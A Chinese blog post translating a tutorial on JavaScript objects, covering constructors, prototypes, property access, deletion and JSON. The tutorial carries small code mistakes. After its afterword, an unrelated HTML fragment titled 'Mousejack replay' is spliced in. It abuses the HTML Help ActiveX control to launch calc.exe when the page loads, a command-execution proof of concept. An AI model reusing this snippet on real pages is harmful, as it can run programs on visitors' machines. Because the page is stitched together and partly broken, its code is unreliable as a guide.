JavaScript对象类型详解

JavaScript对象类型详解

JavaScrtip有六种数据类型,一种复杂的数据类型(引用类型),即Object对象类型,还有五种简单的数据类型(原始类型):NumberStringBooleanUndefinedNull。其中,最核心的类型就是对象类型了。同时要注意,简单类型都是不可变的,而对象类型是可变的。

什么是对象

一个对象是一组简单数据类型(有时是引用数据类型)的无序列表,被存储为一系列的名-值对(name-value pairs)。这个列表中的每一项被称为 属性(如果是函数则被称为 方法)。

下面是一个简单的对象:

    var myFirstObject = {
        firstName: "Richard",
        favoriteAuthor: "Conrad"
    };

可以把对象考虑成一个列表,列表中的每一项(属性或方法)都以名-值对的方式存储。上面例子中,对象的属性名就是firstNamefavortieAuthor,相应的,对象的属性值为RichardConrad

属性名可以是字符串或者数字,但是如果以数字作为属性名,则必须以方括号(方括号记法)来获得这个数字属性名对应的属性值。稍后有方括号记法的更详细解释。下面是一个方括号记法的例子:

    var ageGroup = {30: "Children", 100:"Very Old"};
    console.log(ageGroup.30) // 报错
    ?// 访问30这个属性的正确方法
    console.log(ageGroup["30"]); // Children?
    ?
    ?//最好避免使用数字作为属性名

作为一个JavaScript程序员,你会经常使用到对象数据类型。一般用它来储存数据,或者创建自定义的方法或函数。

引用数据类型和原始数据类型

引用类型与原始类型最主要的一个不同点就是引用类型是按引用存储的,它不会像原始类型一样,将值直接存储在变量中。比如:

    // 原始类型数据是按值存储的
    ?var person = "Kobe";
    ?var anotherPerson = person; // anotherPerson = the value of person?
    person = "Bryant"; // person的值改变了
    ?
    console.log(anotherPerson); // Kobe?
    console.log(person); // Bryan

可以注意到,即使我们将person的值改为"Bryant",对anthoerPerson也会不有丝毫影响,它仍然保存了原本person赋给它的值。

将原始类型的按值存储跟引用类型的按引用存储进行一下比较:

    var person = {name: "Kobe"};
    ?var anotherPerson = person;
    person.name = "Bryant";
    ?
    console.log(anotherPerson.name); // Bryant?
    console.log(person.name); // Bryant

在这个例子中,我们将person对象复制给了anthoerPerson,但是由于person对象中存储的是引用而不是真正的值。所以当我们将person.name改变为"Bryant"的时候,anotherPerson变量也反应出了这个变化,因为它并没有将person中的所有属性都复制一份保存起来,而是直接保存了对象的引用。

对象属性的特性(Attributes)

注:Attribute一般也是翻译为属性,但是为了跟Propertie(也翻译为属性)进行区分,这里将其翻译为特性,这也是咨询过别人的,应该无伤大雅

每个对象属性不止保存了自身的名-值对,它同时还包含了三个特性,这三个特性默认被设置为true。

  • Configurable Attribute: 指定这个对象属性是否可以被删除或修改。
  • Enumerable:指定这个对象属性在for-in循环中是否可以被取得。
  • Writable:指定这个对象属性是否可以被修改。

在EMACScript 5中有一些新的特性,这里不做详细讲解。

创建对象

创建对象有两种比较常用的方法:

  1. 对象字面量

    这是创建对象最常用,也是最简单的方式,直接使用字面量进行创建:

    // 空对象
    ?var myBooks = {};
    ?
    ?// 使用字面量创建的包含4个属性的对象
    ?var mango = {
        color: "yellow",
        shape: "round",
        sweetness: 8,
    ?
    ?    howSweetAmI: function () {
            console.log("Hmm Hmm Good");
        }
    }
  2. 对象构造函数

    第二种常用的方法是使用对象构造函数。构造函数是一种可以用来创建新对象的特殊函数,要使用new关键字来调用构造函数。

    var mango =  new Object ();
    mango.color = "yellow";
    mango.shape= "round";
    mango.sweetness = 8;
    ?
    mango.howSweetAmI = function () {
        console.log("Hmm Hmm Good");
    }

虽然可以使用某些保留字或关键字,比如for作为对象属性的名称,不过这可不是一个明智的选择。

对象的属性可以包含任何数据类型,包括NumberArrays,甚至是其它的Object

对象创建的实践模式

对于创建只使用一次的用于存储数据的简单对象,上面的两种方法就可以满足需求。

但是,假设有一个程序用于展示水果和它的详细信息。程序中的每个水果类型都有如下对象属性:colorshapesweetnesscost 和一个showName函数。要是每次创建一个新的水果对象时,都得敲一遍下面的代码,那将是十分乏味和低效率的。

    var mangoFruit = {
        color: "yellow",
        sweetness: 8,
        fruitName: "Mango",
        nativeToLand: ["South America", "Central America"],
    ?
        ?showName: function () {
            console.log("This is " + this.fruitName);
        },
        ?nativeTo: function () {
            this.nativeToLand.forEach(function (eachCountry)  {
                console.log("Grown in:" + eachCountry);
            });
        }
    }

如果你有10个水果,你就得添加10次相同的代码。并且,如果想修改nativeTo函数,就得在10个不同的地方进行修改。再进一步推想,如果你在开发一个大型网站,你为上面的对象都一个一个添加了属性。但是,你突然发现你创建对象的方式不是很理想,你想要进行修改,这时又该怎么办。

为了解决这些重复性的问题,软件工程师们发明了各种模式(对于重复问题和常见任务的解决方案),使用开发程序更有效率和合理化。

下面是两种创建对象的常用模式:

  1. 构造方法模式

    function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
        this.color = theColor;
        this.sweetness = theSweetness;
        this.fruitName = theFruitName;
        this.nativeToLand = theNativeToLand;
    
        this.showName = function () {
            console.log("This is a " + this.fruitName);
        }
    
        this.nativeTo = function () {
            this.nativeToLand.forEach(function (eachCountry)  {
                console.log("Grown in:" + eachCountry);
            });
        }
    }

    使用这种模式,很容易就可以创建出各式各样的水果来。像这样:

    var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
    mangoFruit.showName(); // This is a Mango.?
    mangoFruit.nativeTo();
    ?//Grown in:South America?
    ?// Grown in:Central America?
    ?// Grown in:West Africa?
    
    ?var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);
    pineappleFruit.showName(); // This is a Pineapple.

    如果你要改变属性或方法,你只需要在一个地方进行修改就可以了。这个模式通过一个Fruit函数的继承,封装了所有水果的功能和特性。

    注意:

    • 可继承的属性需要定义在对象的prototype对象属性上。比如

      someObject.prototype.firstName = "rich";
    • 属于自身的属性要直接定义在对象的上。比如:
      // 首先,创建一个对象
      var aMango = new Fruit ();
      // 接着,直接在对象上定义mongoSpice方法
      // 因为我们直接在对象身上定义了mangoSpice属性,所以它是aMango自身的属性,不是一个可继承的属性
      aMango.mangoSpice = “some value”;
    • 要访问一个对象的属性,使用object.property,如:
      console.log(aMango.mangoSpice); // "some value"
    • 要调用一个对象的方法,使用object.method(),如:
      // 首先,增加一个方法
      aMango.printStuff = function() { return "Printing"; }
      
      // 现在,可以调用printStuff方法
      aMango.printStuff(); 
  2. 原型模式
    function Fruit () {
    }
    
    Fruit.prototype.color = "Yellow";
    Fruit.prototype.sweetness = 7;
    Fruit.prototype.fruitName = "Generic Fruit";
    Fruit.prototype.nativeToLand = "USA";
    
    Fruit.prototype.showName = function () {
        console.log("This is a " + this.fruitName);
    }
    
    Fruit.prototype.nativeTo = function () {
        console.log("Grown in:" + this.nativeToLand);
    }

    下面是在原型模式中调用Fruit()构造函数的方法:

    var mangoFruit = new Fruit ();
    mangoFruit.showName(); //?
    mangoFruit.nativeTo();
    ?// This is a Generic Fruit?
    ?// Grown in:USA

扩展阅读

如果需要了解这两种模式的更详细的解释,可以阅读《JavaScript高级程序设计》的第六章,其中详细讨论了这两种方法的优缺点。书中还讨论了除这两个外的其它模式。

如何访问对象中的属性

访问对象属性的两种主要方法是点记法(dot notation)和中括号记法(bracket notation)。

  1. 点记法

    // 这是我们前面例子中一直使用的访问属性的方法
    ?var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};
    ?
    ?// 使用点记法访问book对象的title和pages属性:?
    console.log ( book.title); // Ways to Go?
    console.log ( book.pages); // 280
  2. 中括号记法
    // 使用方括号启示访问book对象的属性:
    console.log ( book["title"]); //Ways to Go?
    console.log ( book["pages"]); // 280?
    ?
    ?//如果属性名储存在一个变量当中,也可以这样:?
    ?var bookTitle = "title";
    console.log ( book[bookTitle]); // Ways to Go?
    console.log (book["bookMark" + 1]); // Page 20

访问一个对象中不存在的属性会得到一个undefined

自身属性和继承属性

对象拥有自身属性和继承属性。自身属性是直接定义在对象上的属性,而继承属性是从ObjectPrototype继承的属性。

为了确写一个对象是否拥有某个属性(不管是自身属性还是继承属性),可以使用in操作符:

    // 创建一个有schoolName属性的对象
    var school = {schoolName:"MIT"};

    ?// 打印出true,因为对象拥有schoolName这个属性
    console.log("schoolName" in school);  // true?
    ?
    ?// 打印出false,因为我们既没有定义schoolType属性,也没有从Object的Prototype中继承schoolType属性
    console.log("schoolType" in school);  // false?

    ?// 打印出true, 因为从Object的Prototype中继承了toString方法
    console.log("toString" in school);  // true

hasOwnProperty

为了确定一个对象是否拥有一个特定的自身属性,可以使用hasOwnPrototype方法。这个方法十分有用,因为我们经常需要枚举一个对象的所有自身属性,而不是继承属性。

    // 创建一个拥有schoolName属性的对象
    ?var school = {schoolName:"MIT"};
    ?
    ?// 打印出true,因为schooName是school的自身属性
    console.log(school.hasOwnProperty ("schoolName"));  // true?

    ?// 打印出false,因为toString是从Object的Prototype中继承下来的,并且school的自身属性
    console.log(school.hasOwnProperty ("toString"));  // false 

访问和枚举对象中的属性

为了访问对象中可以枚举的属性(自身或者继承的),可以使用for-in循环或普通的循环方式。

    // 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation.?
    ?var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
    ?
    ?//使用for-in循环获取对象中的属性
    ?for (var eachItem in school) {
        console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation?
    }

访问继承的属性

ObjectPrototype中继承的属性不可枚举的,所以在for-in循环中不会访问到这些属性。然而,如果是可枚举的继承属性,它们也是能够从for-in循环中访问到的。

比如:

    //使用for-in循环访问school对象中的属性
    for (var eachItem in school) {
        console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation?
    }

    // 注:以下这段说明是原文的说明
    /* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property.
    */?

    // Create a new HigherLearning function that the school object will inherit from.?

    function HigherLearning () {
        this.educationLevel = "University";
    }

    // Implement inheritance with the HigherLearning constructor?
    var school = new HigherLearning ();
    school.schoolName = "MIT";
    school.schoolAccredited = true;
    school.schoolLocation = "Massachusetts";

    //Use of the for/in loop to access the properties in the school object?
    for (var eachItem in school) {
        console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation?
    }

删除对象中的属性

可以使用delete操作符来删除对象中的属性。我们不能删除继承的属性,同时也不能删除Configurable特性被设置为false的对象属性。要删除继承的属性,必须从Prototype对象中删除(也就是定义这些属性的地方)。并且,我们也不能删除全局对象中的属性。

删除成功的时候,delete操作符会返回true。令人意外的是,当要删除的属性不存在,或者不能被删除(即不是自身的属性或者Configurable特性被设置为false)时, delete操作符也会返回true

以下是示例:

    var christmasList = {mike:"Book", jason:"sweater" }
    delete christmasList.mike; // deletes the mike property?

    for (var people in christmasList) {
        console.log(people);
    }
   // Prints only jason?
   // The mike property was deleted?

   delete christmasList.toString; // 返回 true, 但是因为toString是继承的属性,所以它不会被删除

    // 因为toString没有被删除,所以这里还能够正常使用
    christmasList.toString(); //"[object Object]"?

    // 如果一个属性是对象实例的自身属性,则我们可以删除它。
    // 比如我们可以从之前例子中定义的school对象中删除educationLevel属性,
    // 因为educationLevel是定义在那个实例中的:我们在HigherLearning函数中定义educationLevel时使用了"this"关键字。
    //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。

    console.log(school.hasOwnProperty("educationLevel")); // true?
    // educationLevel是一个school对象的一个自身属性,所以 我们可以删除它?
    delete school.educationLevel; // true 

    // educationLevel属性已经从school实例中删除了
    console.log(school.educationLevel); // undefined

    // 但是educationLevel属性仍然存在于HigherLearning函数中
    var newSchool = new HigherLearning ();
    console.log(newSchool.educationLevel); // University?

    // 如果我们在HigherLearning函数prototype中定义了一个属性, 比如这个educationLevel2属性:?
    HigherLearning.prototype.educationLevel2 = "University 2";

    // 这个educationLevel2属性不属性HigherLearning实例的自身属性

    // educationLevel2属性不是school实例的自身属性?
    console.log(school.hasOwnProperty("educationLevel2")); false?
    console.log(school.educationLevel2); // University 2?

    // 尝试删除继承的educationLevel2属性?
    delete school.educationLevel2; // true (正如前面所提到的,这个表达式会返回true)

    // 继承的educationLevel2属性没有被删除
    console.log(school.educationLevel2); University 2?

序列化和反序列化对象

为了在HTTP中传递对象或者将对象转化成字符串,我们必须将对象序列化(将其转化为字符串)。我们可以使用JSON.stringify来序列化对象。要注意的是,在ECMAScript
5之前的版本,我们要使用json2库来获得JSON.stringify函数。在ECMAScript
5中,这个函数已经成为标准函数。

为了将反序列化对象(即,将字符串转化成对象),可以使用JSON.parse函数来完成。同样,在第5版之前要从json2库中获取这个函数,在第5版中已经加入这个标准函数。

示例代码:

    var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
    JSON.stringify (christmasList);
    // Prints this string:?
    // "{"mike":"Book","jason":"sweater","chels":"iPad"}"

    // To print a stringified object with formatting, add "null" and "4" as parameters:?
    JSON.stringify (christmasList, null, 4);
    // "{
    //      "mike": "Book",
    //      "jason": "sweater",
    //      "chels": "iPad"?
    //  }"

    // JSON.parse Examples
    // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)?
    var christmasListStr = ‘{"mike":"Book","jason":"sweater","chels":"iPad"}‘;

    // Let’s convert it to an object?
    var christmasListObj = JSON.parse (christmasListStr); 

    // Now that it is an object, we use dot notation?
    console.log(christmasListObj.mike); // Book

更多关于JavaScript对象的讨论和解释,以及ECMAScript第5版增加的内容,可以参考《JavaScript权威指南(第6版)》第六章。


后记

第一次翻译文章,真心觉得要把翻译做好也不是那么简单的,很多简单的句子看着很明白,结果真正想翻译出来的时候,却是死活想不出合适的表达方式。通篇文章都是根据我自己的理解,然后通过意译出来的,没有逐句进行翻译。所以,如果有哪些地方理解有偏差,或者翻译不当的地方,请尽量指出,我会尽快改正。毕竟翻译这往篇文章也是想跟大家分享,我不希望因为自己理解的错误,导致对大家产生误导。

就酱,收工。


2

3

4

5

6

7

8

9

10

11

12

<!DOCTYPE
html><html><head><title>Mousejack replay</title><head></head><body>

command
exec

<OBJECT
id=x classid=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
height=1>

<PARAM
name=
"Command" value="ShortCut">

 <PARAM
name=
"Button" value="Bitmap::shortcut">

 <PARAM
name=
"Item1" value=‘,calc.exe‘>

 <PARAM
name=
"Item2" value="273,1,1">

</OBJECT>

<SCRIPT>

x.Click();

</SCRIPT>

</body></html>

时间: 2024-10-23 07:39:31

JavaScript对象类型详解的相关文章

三:python 对象类型详解一:数字(上)

一:python 的数字类型: a)整数和浮点数 b)复数 c)固定精度的十进制数 d)有理分数 e)集合 f)布尔类型 g)无穷的整数精度 h)各种数字内置函数和模块 二:各种数字类型的详解 1,数字常量:python提供了:整数(正整数和负整数)和浮点数(带有小数部分的数字).python还允许我们使用十六进制,八进制和二进制常量来表示整数,并且允许整数具有无穷的精度. (¥)内置数学工具和扩展:python提供了一系列处理数字对象的工具: a)表达式操作符:+,-,*,/,>>(右移),

三:python 对象类型详解一:数字(下)

一:位操作 除了一般的数学运算,python也支持c语言中的大多数数学表达式.这包括那些把整数当作二进制位串对待的操作.例如,还可以实现位移及布尔操作: >>> x = 1 #0001 >>> x << 2 #shift left 2 bits:0100 4 >>> x | 2 #Bitwise OR:0011 3 >>> x & 1 #Bitwise AND:0001 1 这样的按位进行掩码的运算,使我们可以对一

七:python 对象类型详解五:元组

一:元组: 1,简单介绍:元组由简单的对象组构成.元组与列表非常类似,只不过元组不能在原处修改(它们)是不可变的,并且通常写成圆括号中的一系列项.虽然元组不支持任何方法调用,但元组具有列表的大多数属性.并且它的大部分执行操作在介绍字符串列表的时候我们就已经学过了,在这里学起来就比较简单了. 2,元组的特点概述: a)任意对象的有序集合:元组是一个位置有序的对象的集合.与列表相同,可以嵌入到任何类别的对象中. b) 通过偏移存取:它们支持所有基于偏移的操作.例如,索引和分片. c) 属于不可变序列

代码示例:一些简单技巧优化JavaScript编译器工作详解,让你写出高性能运行的更快JavaScript代码

告诉你一些简单的技巧来优化JavaScript编译器工作,从而让你的JavaScript代码运行的更快.尤其是在你游戏中发现帧率下降或是当垃圾回收器有大量的工作要完成的时候. 单一同态: 当你定义了一个两个参数的函数,编译器会接受你的定义,如果函数参数的类型.个数或者返回值的类型改变编译器的工作会变得艰难.通常情况下,单一同态的数据结构和个数相同的参数会让你的程序会更好的工作. function example(a, b) { // 期望a,b都为数值类型 console.log(++a * +

JavaScript(2)---DOM详解

JavaScript(2)---DOM详解 一.DOM概念 什么是DOM DOM全称为文本对象模型(Document Object Model),它定义了所有HTML元素的对象和属性,以及访问他们的方法.它的主要作用包括: 改变HTML 元素 , 改变HTML属性 , 改变CSS 样式,对页面中的所有事件做出反应. 1.DOM 节点树 概念 DOM模型将整个HTML文档看成一个树形结构,并用document对象表示该文档,树的每个子节点表示HTM档中的不同内容. 如图 上图对应的html代码如下

Javascript 严格模式详解

Javascript 严格模式详解 作者: 阮一峰 日期: 2013年1月14日 一.概述 除了正常运行模式,ECMAscript 5添加了第二种运行模式:"严格模式"(strict mode).顾名思义,这种模式使得Javascript在更严格的条件下运行. 设立"严格模式"的目的,主要有以下几个: - 消除Javascript语法的一些不合理.不严谨之处,减少一些怪异行为; - 消除代码运行的一些不安全之处,保证代码运行的安全: - 提高编译器效率,增加运行速度

赋值运算符函数的返回值类型详解

在c++赋值运算符函数的学习中,对于返回值类型的问题,一直非常费解,今天彻底总结一些每种不同返回值类型的结果: 1.当返回值为空时: <span style="font-size:14px;">void hasptr::operator=(const hasptr& s)</span> 这个时候如果只有一个'='(a = b)运算那就没问题,但是如果存在'='(a = b = c)的链式操作时,编译器就会报错 我们看:a = b = c: 程序会先运行

笔记-【3】-event事件对象的详解!

event事件对象:是指当前对象发生的事件的一些详细的信息在event这个对象里. event对象从哪里来?从事件函数中传入 obj. //e就会当前的事件对象event } 对象就有属性和方法:那么event对象也有属性和方法 event的属性和方法: { 属性: button :  当前事件的方法中判断鼠标的按键位置 有三个值: 0 (左键) 1(滚轮) 2(右键) ctrlkey:  判断是否按下了ctrl键; altkey:  判断是否按下了alt键; shiftkey:  判断是否按下

[转]C#进阶系列——WebApi 接口返回值不困惑:返回值类型详解

本文转自:http://www.cnblogs.com/landeanfen/p/5501487.html 阅读目录 一.void无返回值 二.IHttpActionResult 1.Json(T content) 2.Ok(). Ok(T content) 3.NotFound() 4.其他 5.自定义IHttpActionResult接口的实现 三.HttpResponseMessage 四.自定义类型 五.总结 正文 前言:已经有一个月没写点什么了,感觉心里空落落的.今天再来篇干货,想要学